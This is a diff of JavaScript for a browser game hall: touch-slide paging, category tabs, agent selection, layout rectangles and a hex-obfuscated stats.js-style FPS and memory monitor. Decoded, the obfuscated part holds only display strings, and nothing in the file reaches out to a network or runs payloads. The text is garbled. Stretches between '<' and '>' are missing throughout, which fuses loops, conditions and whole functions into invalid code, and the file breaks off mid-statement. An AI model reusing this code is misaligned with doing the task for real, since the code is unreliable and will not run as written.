play_ani(1,spid_down,18,pos,x,0,t,0,0,0,1,0,0,0); + + } + if(spid_down == gamehall_Const.categoryTwo.f_spid){ + gamehall_Data.deltaX = upx - gamehall_Data.downX; + var pos = get_self(spid_down,18,0,0,0); + var x = gamehall_GameUI.getSlideLocation2(pos); + var t = ifast_abs(x-pos)/2; + //console.log("x="+x); + //t=100; + play_ani(1,spid_down,18,pos,x,0,t,0,0,0,1,0,0,0); + + } + if(spid_down==gamehall_Const.Location.f_spid){ + var pos=get_self(spid_down,19,0,0,0); + var h=get_self(spid_down,21,0,0,0); + if(pos>gamehall_Const.Location.clip_y){ + var t = pos - gamehall_Const.Location.clip_y; + play_ani(1,spid_down,19,pos,gamehall_Const.Location.clip_y,0,t,0,0,0,1,0,0,0); + + }else{ + + if(gamehall_Const.Location.clip_h < h){ + var t = gamehall_Const.Location.clip_y+gamehall_Const.Location.clip_h-pos-h; + play_ani(1,spid_down,19,pos,gamehall_Const.Location.clip_y+gamehall_Const.Location.clip_h-h,0,t,0,0,0,1,0,0,0); + + }else{ + var t = gamehall_Const.Location.clip_y - pos; + play_ani(1,spid_down,19,pos,gamehall_Const.Location.clip_y,0,t,0,0,0,1,0,0,0); + + } + } + } + if(spid_up == spid_down){ + switch(spid_up){ + /* + case gamehall_Const.GameList.f_spid://点击游戏列表 + var up_id = ifast_check_add(spid_up,upx,upy); + + if(!gamehall_Data.isSliderGameList){ + //console.log(up_id); + if(up_id>=gamehall_Const.GameList.bg_tag&&up_id=gamehall_Const.GameList.bg_tag&&up_id=gamehall_Const.categoryTwo.bg_tag&&up_id= gamehall_Const.Location.selectTag && up_id < gamehall_Const.Location.nameTag){ + gamehall_GameUI.selectAgent(up_id - gamehall_Const.Location.selectTag); + } + } + break; + //case 1002: + //GameUI.OpenInfo_hall(); + //break; + case 1010: + var data={}; + var webtype = 3; + if(gamehall_Data.GameList[gamehall_Data.gameIdx].webtype){ + webtype = gamehall_Data.GameList[gamehall_Data.gameIdx].webtype; + } + data.webtype = webtype; + data.gamedir = gamehall_Data.GameList[gamehall_Data.gameIdx].gamedir; + data.gameid = gamehall_Data.GameList[gamehall_Data.gameIdx].gameid; + gamehall_Logic.saveGameinfo(JSON.stringify(data)); + var data1={}; + data1.from=2; + data1.opt = "loginPlayerid"; + data1.data = Utl.ReadData(gamehall_Logic.launchGameId); + Func.SwitchOverGameData(webtype,gamehall_Data.GameList[gamehall_Data.gameIdx].gamedir,gamehall_Data.GameList[gamehall_Data.gameIdx].gameid,data1); + gamehall_GameUI.closeCheckDownload(); + break; + case 1011: + case 1008: + gamehall_GameUI.closeCheckDownload(); + break; + case 1029: + gamehall_GameUI.showCategoryOne(); + break; + case 1030: + gamehall_GameUI.showCategoryTwo(); + break; + case 1031: + gamehall_GameUI.showCategoryThree(); + break; + case 1032: + gamehall_GameUI.showCategoryFour(); + break; + case 1033: + gamehall_GameUI.showCategoryFive(); + break; + //确认切换 + case 1036: + gamehall_GameUI.switchLocalHall(); + break; + //取消切换 + case 1038: + case 1034: + gamehall_GameUI.closeCheckSwitch(); + break; + case 1040: + gamehall_GameUI.openSelectAgent(); + break; + case 1042: + case 1049: + gamehall_GameUI.closeSelectAgent(); + break; + case 1048: + gamehall_Data.agentConfigTemp = gamehall_Data.selectedAgent; + gamehall_GameUI.switchLocalHall(); + break; + } + if(spid_up >= 1029 && spid_up <=1033){ + Utl.playSound("00052.mp3"); + gamehall_Data.categoryPage = spid_up-1029; + gamehall_GameUI.updateSelectBar(); + } + } +} + +gamehall_GameUI.utlmousemove = function(gameid, spid, downx, downy, movex,movey ,timelong,offmovex, offmovey, no1){ + switch(spid){ + case gamehall_Const.GameList.f_spid://游戏列表 + + if(ifast_abs(offmovex)>10){ + + set_self(spid,18,offmovex,1,0); + gamehall_Data.isSliderGameList = true; + } + break; + case gamehall_Const.categoryTwo.f_spid://游戏列表 + + if(ifast_abs(offmovex)>10){ + + set_self(spid,18,offmovex,1,0); + gamehall_Data.categoryTwo.isSlide = true; + } + break; + case gamehall_Const.Location.f_spid://游戏列表 + + if(ifast_abs(offmovey)>10){ + + set_self(spid,19,offmovey,1,0); + gamehall_Data.selectAgentSlide = true; + } + break; + } +} + +gamehall_GameUI.utlgamemydraw = function(gameid, spid, times, timelong, no2, no3, no4, no5, no6, no7){ + +} +gamehall_GameUI.utlgamemydrawbegin = function(gameid, spid, times, timelong, no2, no3, no4, no5, no6, no7){ + if(spid==gamehall_Const.GameList.f_spid){ + set_clip(0,0,gamehall_Const.GameList.clip_x,gamehall_Const.GameList.clip_y,gamehall_Const.GameList.clip_w,gamehall_Const.GameList.clip_h); + set_clip(0,0,gamehall_Const.GameList.place_x1,gamehall_Const.GameList.clip_y,gamehall_Const.GameList.pageWidth,gamehall_Const.GameList.clip_h); + } + if(spid==gamehall_Const.Location.f_spid){ + set_clip(0,0,gamehall_Const.Location.clip_x,gamehall_Const.Location.clip_y,gamehall_Const.Location.clip_w,gamehall_Const.Location.clip_h); + } +} +gamehall_GameUI.utlontimer = function(gameid, spid, /* 本次间隔多少次了 */ times, /* 本次间隔多久 */ timelong,/* 开启后运行多少次了 */ alltimes){ + +} +//显示游戏大厅子游戏信息按钮 +gamehall_GameUI.updateHall = function(){ + for(var i=0;i gamehall_Const.GameList.deltaX){//向右滑动 + if(categoryObj.pageTag == 0){ + pIndex =0; + }else{ + pIndex = (categoryObj.pageTag - 1) % categoryObj.pageCount; + } + + }else if(gamehall_Data.deltaX < -gamehall_Const.GameList.deltaX){//向左滑动 + + if(categoryObj.pageTag == categoryObj.pageCount - 1){ + pIndex = categoryObj.pageTag; + }else{ + pIndex = (categoryObj.pageTag + 1) % categoryObj.pageCount; + } + } + categoryObj.pageTag = pIndex; + //gamehall_GameUI.updateCategoryOnePageNumber(); + gamehall_GameUI.updatePageNumber(categoryObj.pageTag); + return pageLocation[pIndex]; +} +gamehall_GameUI.getSlideLocation2 = function(x){ + //if(x > gamehall_Const.categoryTwo.place_x1 ){ + //return gamehall_Const.categoryTwo.place_x1; + //} + //if(x < gamehall_Const.categoryTwo.place_x1 - get_self(gamehall_Const.categoryTwo.f_spid,20,0,0,0)-(gamehall_Const.categoryTwo.pageSpace + gamehall_Const.categoryTwo.pageWidth)){ + //return gamehall_Const.categoryTwo.place_x1 - get_self(gamehall_Const.categoryTwo.f_spid,20,0,0,0); + //} + var pageLocation = []; + + for(var i=0;i < gamehall_Data.categoryTwo.pageCount;i++ ){ + pageLocation.push(gamehall_Const.categoryTwo.place_x1 - i*(gamehall_Const.categoryTwo.pageSpace + gamehall_Const.categoryTwo.pageWidth)); + } + + //if(x > pageLocation[0]){ + //pIndex = 0; + //}else{ + //if(x < pageLocation[pageLocation.length - 1]){ + //pIndex = pageLocation.length - 1; + //}else{ + //for(var i=0;i pageLocation[i+1]){ + //pIndex = i+1; + //break; + //} + //} + //} + //} + var pIndex = gamehall_Data.categoryTwo.pageTag; + if(gamehall_Data.deltaX > gamehall_Const.categoryTwo.deltaX){//向右滑动 + if(gamehall_Data.categoryTwo.pageTag == 0){ + pIndex =0; + }else{ + pIndex = (gamehall_Data.categoryTwo.pageTag - 1) % gamehall_Data.categoryTwo.pageCount; + } + + }else if(gamehall_Data.deltaX < -gamehall_Const.categoryTwo.deltaX){//向左滑动 + + if(gamehall_Data.categoryTwo.pageTag == gamehall_Data.categoryTwo.pageCount - 1){ + pIndex = gamehall_Data.categoryTwo.pageTag; + }else{ + pIndex = (gamehall_Data.categoryTwo.pageTag + 1) % gamehall_Data.categoryTwo.pageCount; + } + } + //return gamehall_Data.categoryTwo.pageTag; + //console.log(pIndex); + gamehall_Data.categoryTwo.pageTag = pIndex; + //gamehall_GameUI.updateCategoryTwoPageNumber(); + gamehall_GameUI.updatePageNumber(gamehall_Data.categoryTwo.pageTag); + return pageLocation[pIndex]; +} +//设置首页页数 +/* +gamehall_GameUI.setCategoryOnePageCount = function(){ + if(gamehall_Data.GameList.length<=6){ + gamehall_Data.categoryOne.pageCount = 1; + }else{ + gamehall_Data.categoryOne.pageCount = Math.ceil((gamehall_Data.GameList.length-6)/8)+1; + } +}*/ +//设置首页页数 +gamehall_GameUI.setCategoryOnePageCount = function(){ + gamehall_Data.categoryOne.pageCount = Math.ceil(gamehall_Data.GameList.length/6); + /* + if(gamehall_Data.GameList.length<=6){ + gamehall_Data.categoryOne.pageCount = 1; + }else{ + gamehall_Data.categoryOne.pageCount = Math.ceil((gamehall_Data.GameList.length-6)/8)+1; + }*/ +} + +//设置首页页数 +gamehall_GameUI.setCategoryTwoPageCount = function(){ + gamehall_Data.categoryTwo.pageCount = Math.ceil(gamehall_Data.categoryTwo.gameList.length/6); +} +gamehall_GameUI.getCategoryOnePageTag = function(tag){ + return Math.floor(tag/6); + if(tag<5){ + return 0; + }else{ + return Math.ceil((tag-5)/8); + } +} +gamehall_GameUI.getCategoryTwoPageTag = function(tag){ + return Math.floor(tag/6); + +} +gamehall_GameUI.showCategoryTwo = function(){ + set_self(1015,37,1,0,0); + set_self(1016,37,1,0,0); + set_self(gamehall_Const.GameList.f_spid,37,0,0,0); + gamehall_Data.categoryPage = 1; + gamehall_GameUI.createDownloadedPage(); + gamehall_GameUI.updateCategoryItem(); +} +gamehall_GameUI.createDownloadedPage = function(){ + gamehall_GameUI.createCategory(gamehall_Data.categoryTwo.gameList,gamehall_Data.categoryTwo,0); + return; + //set_self(1001,1,219,0,0); + gamehall_Data.categoryTwo.pageTag = 0; + gamehall_GameUI.clearCategoryTwo(); + gamehall_GameUI.clearGameHall(); + gamehall_GameUI.setCategoryTwoPageCount(); + var pages = gamehall_Data.categoryTwo.pageCount; + set_self(gamehall_Const.categoryTwo.f_spid,37,1,0,0); + set_self(gamehall_Const.categoryTwo.bg_spid,37,1,0,0); + set_self(gamehall_Const.categoryTwo.f_spid,18,gamehall_Const.categoryTwo.place_x1,0,0); + set_self(gamehall_Const.categoryTwo.f_spid,20,gamehall_Const.categoryTwo.pageWidth*pages+(pages-1)*gamehall_Const.categoryTwo.pageSpace,0,0); + set_self(gamehall_Const.categoryTwo.f_spid,21,gamehall_Const.categoryTwo.h,0,0); + if(!gamehall_Data.categoryTwo.isCreate){//未创建 + for(var i=0;i 135){ + set_self(1040,20,w,0,0); + }else{ + set_self(1040,20,135,0,0); + } + }else{ + set_group(209,37,0,0,0); + } +} +gamehall_GameUI.showGameHall = function(){ + gamehall_GameUI.updateLocation(); + gamehall_GameUI.updateSelectBar(); + gamehall_GameUI.updateHall(); + switch(gamehall_Data.categoryPage){ + case 0://全部 + gamehall_GameUI.showCategoryOne(); + break; + case 1://分类一 + gamehall_GameUI.showCategoryTwo(); + break; + case 2://分类二 + gamehall_GameUI.showCategoryThree(); + break; + case 3://分类三 + gamehall_GameUI.showCategoryFour(); + break; + case 4://分类四 + gamehall_GameUI.showCategoryFive(); + break; + } +} +gamehall_GameUI.showCategoryThree = function(){ + gamehall_GameUI.createCategory(gamehall_Data.categoryThree.gameList,gamehall_Data.categoryThree,2); +} +gamehall_GameUI.showCategoryFour = function(){ + gamehall_GameUI.createCategory(gamehall_Data.categoryFour.gameList,gamehall_Data.categoryFour,3); +} +gamehall_GameUI.showCategoryFive = function(){ + gamehall_GameUI.createCategory(gamehall_Data.categoryFive.gameList,gamehall_Data.categoryFive,4); +} +gamehall_GameUI.createCategory = function(gameList,categoryObject,page){ + gamehall_GameUI.Mem.categoryObj = categoryObject; + gamehall_GameUI.Mem.gameList = gameList; + //gamehall_Data.categoryOne.pageTag = 0; + gamehall_GameUI.clearCategory(); + categoryObject.pageTag = 0; + set_self(1015,37,1,0,0); + set_self(1016,37,1,0,0); + gamehall_Data.categoryPage = page; + gamehall_GameUI.setCategoryPageCount(categoryObject,gameList.length); + var pages = categoryObject.pageCount; + set_self(gamehall_Const.GameList.f_spid,19,gamehall_Const.GameList.clip_y,0,0); + set_self(gamehall_Const.GameList.f_spid,37,1,0,0); + set_self(gamehall_Const.GameList.bg_spid,37,1,0,0); + set_self(gamehall_Const.GameList.spidList[0],37,1,0,0); + set_self(gamehall_Const.GameList.spidList[1],37,1,0,0); + set_self(gamehall_Const.GameList.spidList[2],37,1,0,0); + set_self(gamehall_Const.GameList.pack_spid,37,1,0,0); + set_self(gamehall_Const.GameList.front_spid,37,1,0,0); + set_self(1007,37,1,0,0); + set_self(gamehall_Const.GameList.f_spid,18,gamehall_Const.GameList.place_x1,0,0); + //set_self(gamehall_Const.GameList.f_spid,20,gamehall_Data.GameList.length*(gamehall_Const.GameList.dis_x+gamehall_Const.GameList.w),0,0); + set_self(gamehall_Const.GameList.f_spid,20,gamehall_Const.GameList.pageWidth*pages+(pages-1)*gamehall_Const.GameList.pageSpace,0,0); + //set_self(gamehall_Const.GameList.f_spid,20,pages*(gamehall_Const.GameList.pageSpace+gamehall_Const.GameList.pageWidth),0,0); + set_self(gamehall_Const.GameList.f_spid,21,gamehall_Const.GameList.h,0,0); + if(!gamehall_Data.isCreateGameList){//未创建 + for(var i=0;i hPuk14 + 1E3) { + nogIEsi15 = window["\x4d\x61\x74\x68"]["\x72\x6f\x75\x6e\x64"](hZ11 * 1E3 / (_kO12 - hPuk14)); + aGfBpM_16 = window["\x4d\x61\x74\x68"]["\x6d\x69\x6e"](aGfBpM_16, nogIEsi15); + pIipoKbeZ17 = window["\x4d\x61\x74\x68"]["\x6d\x61\x78"](pIipoKbeZ17, nogIEsi15); + s(eg$MBfn22["\x64\x61\x74\x61"], window["\x4d\x61\x74\x68"]["\x6d\x69\x6e"](30, 30 - nogIEsi15 / 100 * 30), "\x66\x70\x73"); + MC$T19["\x69\x6e\x6e\x65\x72\x48\x54\x4d\x4c"] = '\x3c\x73\x70\x61\x6e \x73\x74\x79\x6c\x65\x3d\x22\x66\x6f\x6e\x74\x2d\x77\x65\x69\x67\x68\x74\x3a\x62\x6f\x6c\x64\x22\x3e' + nogIEsi15 + " \x46\x50\x53\x3c\x2f\x73\x70\x61\x6e\x3e \x28" + aGfBpM_16 + "\x2d" + pIipoKbeZ17 + "\x29"; + _21["\x70\x75\x74\x49\x6d\x61\x67\x65\x44\x61\x74\x61"](eg$MBfn22, 0, 0); + if (QTsilt9 == 3) + alOujP30 = performance["\x6d\x65\x6d\x6f\x72\x79"]["\x75\x73\x65\x64\x4a\x53\x48\x65\x61\x70\x53\x69\x7a\x65"] * 9.54E-7, + yj31 = window["\x4d\x61\x74\x68"]["\x6d\x69\x6e"](yj31, alOujP30), + DiXUY32 = window["\x4d\x61\x74\x68"]["\x6d\x61\x78"](DiXUY32, alOujP30), + s(LkrwEFr36["\x64\x61\x74\x61"], window["\x4d\x61\x74\x68"]["\x6d\x69\x6e"](30, 30 - alOujP30 / 2), "\x6d\x62"), + dcngJtbw34["\x69\x6e\x6e\x65\x72\x48\x54\x4d\x4c"] = '\x3c\x73\x70\x61\x6e \x73\x74\x79\x6c\x65\x3d\x22\x66\x6f\x6e\x74\x2d\x77\x65\x69\x67\x68\x74\x3a\x62\x6f\x6c\x64\x22\x3e' + window["\x4d\x61\x74\x68"]["\x72\x6f\x75\x6e\x64"](alOujP30) + " \x4d\x42\x3c\x2f\x73\x70\x61\x6e\x3e \x28" + window["\x4d\x61\x74\x68"]["\x72\x6f\x75\x6e\x64"](yj31) + "\x2d" + window["\x4d\x61\x74\x68"]["\x72\x6f\x75\x6e\x64"](DiXUY32) + "\x29", + wMVlPSdU35["\x70\x75\x74\x49\x6d\x61\x67\x65\x44\x61\x74\x61"](LkrwEFr36, 0, 0); + hPuk14 = _kO12; + hZ11 = 0 + } + } + } +}; +var game123 = function() { + function s(a, g, d) { + var f, c, e; + for (c = 0; c < 30; c++) + for (f = 0; f < 73; f++) + e = (f + c * 74) * 4, + a[e] = a[e + 4], + a[e + 1] = a[e + 5], + a[e + 2] = a[e + 6]; + for (c = 0; c < 30; c++) + e = (73 + c * 74) * 4, + c < g ? (a[e] = b[d].bg.r, + a[e + 1] = b[d].bg.g, + a[e + 2] = b[d].bg.b) : (a[e] = b[d].fg.r, + a[e + 1] = b[d].fg.g, + a[e + 2] = b[d].fg.b) + } + var r = 0, t = 2, g, u = 0, j = (new Date).getTime(), F = j, v = j, l = 0, w = 1E3, x = 0, k, d, a, m, y, n = 0, z = 1E3, A = 0, f, c, o, B, p = 0, C = 1E3, D = 0, h, i, q, E, b = { + fps: { + bg: { + r: 16, + g: 16, + b: 48 + }, + fg: { + r: 0, + g: 255, + b: 255 + } + }, + ms: { + bg: { + r: 16, + g: 48, + b: 16 + }, + fg: { + r: 0, + g: 255, + b: 0 + } + }, + mb: { + bg: { + r: 48, + g: 16, + b: 26 + }, + fg: { + r: 255, + g: 0, + b: 128 + } + } + }; + g = document.createElement("div"); + g.className = "stats"; + g.style.cursor = "pointer"; + g.style.width = "80px"; + g.style.opacity = "0.9"; + g.style.zIndex = "10001"; + g.addEventListener("click", function() { + r++; + r == t && (r = 0); + k.style.display = "none"; + f.style.display = "none"; + h.style.display = "none"; + switch (r) { + case 0: + k.style.display = "block"; + break; + case 1: + f.style.display = "block"; + break; + case 2: + h.style.display = "block" + } + }, !1); + k = document.createElement("div"); + k.style.backgroundColor = "rgb(" + Math.floor(b.fps.bg.r / 2) + "," + Math.floor(b.fps.bg.g / 2) + "," + Math.floor(b.fps.bg.b / 2) + ")"; + k.style.padding = "2px 0px 3px 0px"; + g.appendChild(k); + d = document.createElement("div"); + d.style.fontFamily = "Helvetica, Arial, sans-serif"; + d.style.textAlign = "left"; + d.style.fontSize = "9px"; + d.style.color = "rgb(" + b.fps.fg.r + "," + b.fps.fg.g + "," + b.fps.fg.b + ")"; + d.style.margin = "0px 0px 1px 3px"; + d.innerHTML = 'FPS'; + k.appendChild(d); + a = document.createElement("canvas"); + a.width = 74; + a.height = 30; + a.style.display = "block"; + a.style.marginLeft = "3px"; + k.appendChild(a); + m = a.getContext("2d"); + m.fillStyle = "rgb(" + b.fps.bg.r + "," + b.fps.bg.g + "," + b.fps.bg.b + ")"; + m.fillRect(0, 0, a.width, a.height); + y = m.getImageData(0, 0, a.width, a.height); + f = document.createElement("div"); + f.style.backgroundColor = "rgb(" + Math.floor(b.ms.bg.r / 2) + "," + Math.floor(b.ms.bg.g / 2) + "," + Math.floor(b.ms.bg.b / 2) + ")"; + f.style.padding = "2px 0px 3px 0px"; + f.style.display = "none"; + g.appendChild(f); + c = document.createElement("div"); + c.style.fontFamily = "Helvetica, Arial, sans-serif"; + c.style.textAlign = "left"; + c.style.fontSize = "9px"; + c.style.color = "rgb(" + b.ms.fg.r + "," + b.ms.fg.g + "," + b.ms.fg.b + ")"; + c.style.margin = "0px 0px 1px 3px"; + c.innerHTML = 'MS'; + f.appendChild(c); + a = document.createElement("canvas"); + a.width = 74; + a.height = 30; + a.style.display = "block"; + a.style.marginLeft = "3px"; + f.appendChild(a); + o = a.getContext("2d"); + o.fillStyle = "rgb(" + b.ms.bg.r + "," + b.ms.bg.g + "," + b.ms.bg.b + ")"; + o.fillRect(0, 0, a.width, a.height); + B = o.getImageData(0, 0, a.width, a.height); + try { + performance && performance.memory && performance.memory.totalJSHeapSize && (t = 3) + } catch (G) {} + h = document.createElement("div"); + h.style.backgroundColor = "rgb(" + Math.floor(b.mb.bg.r / 2) + "," + Math.floor(b.mb.bg.g / 2) + "," + Math.floor(b.mb.bg.b / 2) + ")"; + h.style.padding = "2px 0px 3px 0px"; + h.style.display = "none"; + g.appendChild(h); + i = document.createElement("div"); + i.style.fontFamily = "Helvetica, Arial, sans-serif"; + i.style.textAlign = "left"; + i.style.fontSize = "9px"; + i.style.color = "rgb(" + b.mb.fg.r + "," + b.mb.fg.g + "," + b.mb.fg.b + ")"; + i.style.margin = "0px 0px 1px 3px"; + i.innerHTML = 'MB'; + h.appendChild(i); + a = document.createElement("canvas"); + a.width = 74; + a.height = 30; + a.style.display = "block"; + a.style.marginLeft = "3px"; + h.appendChild(a); + q = a.getContext("2d"); + q.fillStyle = "#301010"; + q.fillRect(0, 0, a.width, a.height); + E = q.getImageData(0, 0, a.width, a.height); + return { + domElement: g, + update: function() { + u++; + j = (new Date).getTime(); + n = j - F; + z = Math.min(z, n); + A = Math.max(A, n); + s(B.data, Math.min(30, 30 - n / 200 * 30), "ms"); + c.innerHTML = '' + n + " MS (" + z + "-" + A + ")"; + o.putImageData(B, 0, 0); + F = j; + if (j > v + 1E3) { + l = Math.round(u * 1E3 / (j - v)); + w = Math.min(w, l); + x = Math.max(x, l); + s(y.data, Math.min(30, 30 - l / 100 * 30), "fps"); + d.innerHTML = '' + l + " FPS (" + w + "-" + x + ")"; + m.putImageData(y, 0, 0); + if (t == 3) + p = performance.memory.usedJSHeapSize * 9.54E-7, + C = Math.min(C, p), + D = Math.max(D, p), + s(E.data, Math.min(30, 30 - p / 2), "mb"), + i.innerHTML = '' + Math.round(p) + " MB (" + Math.round(C) + "-" + Math.round(D) + ")", + q.putImageData(E, 0, 0); + v = j; + u = 0 + } + } + } +}; +var ifastunit = 0; +var ifast_jb; +var dfw1977s = 1; +var dfw1977e = 1; +var testdate111 = '{"dfw":123}'; +var gameabc_face = gameabc_face || {}; +var ifast_hashmaps = {}; +var ifast_seerect = {}; +gameabc_face.resizeinitok = 0; +gameabc_face.vw = 1; +gameabc_face.lmx = 30; +gameabc_face.lmy = 30; +gameabc_face.userchargez = 0; +gameabc_face.randombase = 777777; +gameabc_face.randomhttp = 777777; +gameabc_face.img_list_pre = []; +gameabc_face.img_list_downing = []; +dfwusercavans = 0; +gameabc_face.downing_count = 100; +gameabc_face.webmode = 0; +gameabc_face.drawcharge = 1; +gameabc_face.drawmouse = 1; +gameabc_face.drawnet = 1; +gameabc_face.drawtime = 1; +gameabc_face.drawface = 1; +gameabc_face.fastup_time = 250; +gameabc_face.checkmustdraw = function() { + if (gameabc_face.webmode == 0) { + return 1; + } + ;var k; + k = this.drawcharge || this.drawnet || this.drawtime || this.drawface || this.drawmouse; + this.drawcharge = 0; + this.drawmouse = 0; + this.drawnet = 0; + this.drawtime = 0; + this.drawface = 0; + return k; +} +; + +function dfwtime200() { + var i1 = gameabc_face.img_list_pre.length; + var i2 = gameabc_face.img_list_downing.length; + var obj; + { + while (i2 < gameabc_face.downing_count && i1 > 0) { + obj = gameabc_face.img_list_pre[0]; + i2 = gameabc_face.img_list_downing.push(obj); + gameabc_face.img_list_pre.splice(0, 1); + i1 = gameabc_face.img_list_pre.length; + obj.src = obj.src_pre; + } + } +} +;function ifast_checkrect_seefastxy(x, y) { + if (x >= ifast_seerect.w || y >= ifast_seerect.h) { + return 0; + } else { + return 1; + } +} +;function ifast_checkrect_seefastxywh(x, y, w, h) { + if (x >= ifast_seerect.w || y >= ifast_seerect.h) { + return 0; + } else { + return 1; + } + ;if (x + w <= 0 || y + h < 0) { + return 0; + } else { + return 1; + } +} +;function ifast_jsonchecktostring(msg) { + if (msg) { + if (typeof (msg) != 'string') { + msg = JSON.stringify(msg); + } + ; + } + ;return msg; +} +;function ifast_checkjsonstr(v) { + v = other_replaceall(v, "\n", "\\n"); + v = other_replaceall(v, "\r", "\\r"); + return v; +} +;function ifast_measureText(spid, caption) { + var obj = ifast_getobj(spid); + if (ifast_isno(obj)) { + return 0; + } + ;var dc = ifast_getdc(); + dc.font = 'lighter ' + obj.h + 'px Arial'; + if (!caption) { + caption = obj.caption; + } + ;return dc.measureText(caption).width; +} +;function getPixelRatio(context) { + var backingStore = context.backingStorePixelRatio || context.webkitBackingStorePixelRatio || context.mozBackingStorePixelRatio || context.msBackingStorePixelRatio || context.oBackingStorePixelRatio || context.backingStorePixelRatio || 1; + return (window.devicePixelRatio || 1) / backingStore; +} +;function allchargeobj(objid) { + if (arguments.length == 0) { + var i; + for (i = 1; i < gameabc_Object.ObjectList.length; i++) { + allchargeobj(i); + } + ;return; + } + ;var obj; + var j; + var objs = gameabc_Object.ObjectList; + obj = gameabc_Object.ObjectList[objid].Property; + if (!obj) { + return; + } + ;if (!obj.OriginID) { + return; + } + ;if (obj.OriginID == 0) { + return; + } + ;var objf = ifast_getobj(obj.OriginID); + if (!objf) { + return; + } else { + allchargeobj(obj.OriginID); + } + ;ifast_spritealign(obj.offX, obj.offY, objid, obj.SelfPos, obj.OriginID, obj.OriginPos); +} +;function allcharge(layer) { + if (!layer) { + if (!gameabc_Image.addimgs) { + gameabc_Image.addimgs = {}; + } + ;if (!gameabc_face.loadui2) { + return; + } + ;var d = 1; + var okle; + for (d = 1; d < gameabc_Layer.LayerList.length; d++) { + okle = gameabc_Layer.LayerList[d]; + if (!okle.allrect) { + okle.allrect = {}; + okle.syrect = {}; + okle.myrect = {}; + } + ;allcharge(d); + } + ;allchargeobj(); + return; + } + ;var oklevel = gameabc_Layer.LayerList[layer]; + if (!oklevel.ObjectList) { + return; + } + ;var oo = 0; + var ww = g_GameObjectManager.backBuffer.width; + var hh = g_GameObjectManager.backBuffer.height; + oklevel.allrect.x = oo; + oklevel.allrect.y = oo; + oklevel.allrect.w = ww; + oklevel.allrect.h = hh; + oklevel.syrect.x = oo; + oklevel.syrect.y = oo; + oklevel.syrect.w = ww; + oklevel.syrect.h = hh; + oklevel.syrect.x = oo; + oklevel.syrect.y = oo; + oklevel.syrect.w = ww; + oklevel.syrect.h = hh; + var obj; + var j; + var objid; + var count = oklevel.ObjectList.length; + for (j = 0; j < count; j++) { + objid = oklevel.ObjectList[j]; + obj = ifast_getobj(objid); + if (!obj) { + continue + } + ;try { + if (obj.classid == 6) { + oklevel.myrect = getmyrectdec(oklevel.allrect, oklevel.syrect, obj.Align, obj.SizeStyle, obj.Size, 1); + set_self(objid, 28, oklevel.myrect); + } + } catch (e) {} + } + ; +} +;function getmyrect(rect, Align, SizeStyle, size) { + return getmyrectdec(rect, rect, Align, SizeStyle, size, 0); +} +;function getmyrectdec(allrect, syrect, Align, SizeStyle, size, dec) { + var myrect = {}; + switch (Align) { + case 1: + switch (SizeStyle) { + case 0: + myrect.x = syrect.x; + myrect.y = syrect.y; + myrect.w = size; + myrect.h = syrect.h; + break; + case 1: + myrect.x = syrect.x; + myrect.y = syrect.y; + myrect.h = syrect.h; + myrect.w = (size / 10000) * allrect.w; + break; + case 2: + myrect.x = syrect.x; + myrect.y = syrect.y; + myrect.h = syrect.h; + myrect.w = (size / 10000) * syrect.w; + break; + } + ;break; + case 2: + switch (SizeStyle) { + case 0: + myrect.x = syrect.x; + myrect.y = syrect.y; + myrect.w = syrect.w; + myrect.h = size; + break; + case 1: + myrect.x = syrect.x; + myrect.y = syrect.y; + myrect.w = syrect.w; + myrect.h = (size / 10000) * allrect.h; + break; + case 2: + myrect.x = syrect.x; + myrect.y = syrect.y; + myrect.w = syrect.w; + myrect.h = (size / 10000) * syrect.h; + break; + } + ;break; + case 3: + switch (SizeStyle) { + case 0: + myrect.x = syrect.x + allrect.w - size; + myrect.y = syrect.y; + myrect.h = syrect.h; + myrect.w = size; + break; + case 1: + myrect.x = syrect.x + syrect.w - (size / 10000) * allrect.w; + myrect.y = syrect.y; + myrect.h = syrect.h; + myrect.w = (size / 10000) * syrect.w; + break; + case 2: + myrect.x = syrect.x + syrect.w - (size / 10000) * syrect.w; + myrect.y = syrect.y; + myrect.w = (size / 10000) * syrect.w; + myrect.h = syrect.h; + break; + } + ;break; + case 4: + switch (SizeStyle) { + case 0: + myrect.x = syrect.x; + myrect.y = syrect.y + syrect.h - size; + myrect.w = syrect.w; + myrect.h = size; + break; + case 1: + myrect.x = syrect.x; + myrect.y = syrect.y + syrect.h - (size / 10000) * allrect.h; + myrect.w = syrect.w; + myrect.h = (size / 10000) * allrect.h; + break; + case 2: + myrect.x = syrect.x; + myrect.y = syrect.y + syrect.h - (size / 10000) * syrect.h; + myrect.w = syrect.w; + myrect.h = (size / 10000) * syrect.h; + break; + } + ;break; + } + ;myrect.x = parseInt(myrect.x); + myrect.y = parseInt(myrect.y); + myrect.w = parseInt(myrect.w); + myrect.h = parseInt(myrect.h); + if (dec == 1) { + getsyrect(syrect, myrect, Align); + } + ;return myrect; +} +;function getsyrect(syrect, myrect, Align) { + switch (Align) { + case 1: + syrect.w -= myrect.w; + syrect.x += myrect.w; + syrect.y = syrect.y; + syrect.h = syrect.h; + break; + case 2: + syrect.h -= myrect.h; + syrect.y += myrect.h; + syrect.x = syrect.x; + syrect.w = syrect.w; + break; + case 3: + syrect.w -= myrect.w; + syrect.x = syrect.x; + syrect.y = syrect.y; + syrect.h = syrect.h; + break; + case 4: + syrect.h -= myrect.h; + syrect.y = syrect.y; + syrect.x = syrect.x; + syrect.w = syrect.w; + break; + } + ; +} +;function ifast_bvdvdfgdf() { + sdfsdfgwergawertgwerg; +} +;dfw1977s = 0; +gameabc_face.xxxxx = ""; +dfw1977e = 0; +gameabc_face.openlog = 0; +gameabc_face.pmkg_string = ""; +gameabc_face.touall = "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVQIW2NkYGD4DwABCQEBtxmN7wAAAABJRU5ErkJggg=="; +gameabc_face.banall = "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVQIW2NkYGCoBwAAiQCB1bUosQAAAABJRU5ErkJggg=="; +gameabc_face.touall_img = new Image(); +gameabc_face.touall_img.src = gameabc_face.touall; +gameabc_face.banall_img = new Image(); +gameabc_face.banall_img.src = gameabc_face.banall; +gameabc_face.zz_canvas = document.createElement('canvas'); +gameabc_face.zz_canvas.width = 1; +gameabc_face.zz_canvas.height = 1; +gameabc_face.zz2d = gameabc_face.zz_canvas.getContext("2d"); +gameabc_face.obj = null; +gameabc_face.sy_x = 0; +gameabc_face.sy_y = 0; +gameabc_face.sy_w = 0; +gameabc_face.sy_h = 0; +gameabc_face.loadcount = 